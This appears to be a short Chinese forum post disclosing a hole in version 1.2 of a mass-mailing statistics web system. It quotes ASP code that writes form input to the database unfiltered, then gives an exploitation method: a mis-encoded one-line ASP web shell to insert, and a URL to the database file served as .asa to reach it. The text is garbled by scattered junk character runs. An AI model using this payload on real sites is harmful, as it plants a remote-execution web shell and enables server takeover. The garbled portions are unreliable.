铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

! `5 A$ R# ?# }! x. A! A3 M0 |IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
) {: f: G" v3 @4 @IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
2 y; q( _  J( U0 [. e7 YRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
2 S# f5 C" @! {3 Y'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
3 R6 k+ O# v8 u; Q% k3 q9 f# S: x3 }%>

& R% b7 _7 N; p7 ~/ c* d+ z; d4 j; E0 L
% C2 v0 {+ m8 w/ X! A
! a8 H3 Q" V% t& ^5 S2 c; _9 M& o1 W没有过滤，直接写入数据库。
, F) v% ]# a) y' W" c
利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
3 t! m4 R- g" N1 u8 T
* X6 ^0 t1 z7 Q5 R9 n7 o
9 B: x, M& k9 u5 ~% V6 m; O2 k$ m6 N连接： http://www.xxx.com/###tongbaner.asa
) t" E8 \4 V0 M; ]+ z'默认安装文件：
'install.asp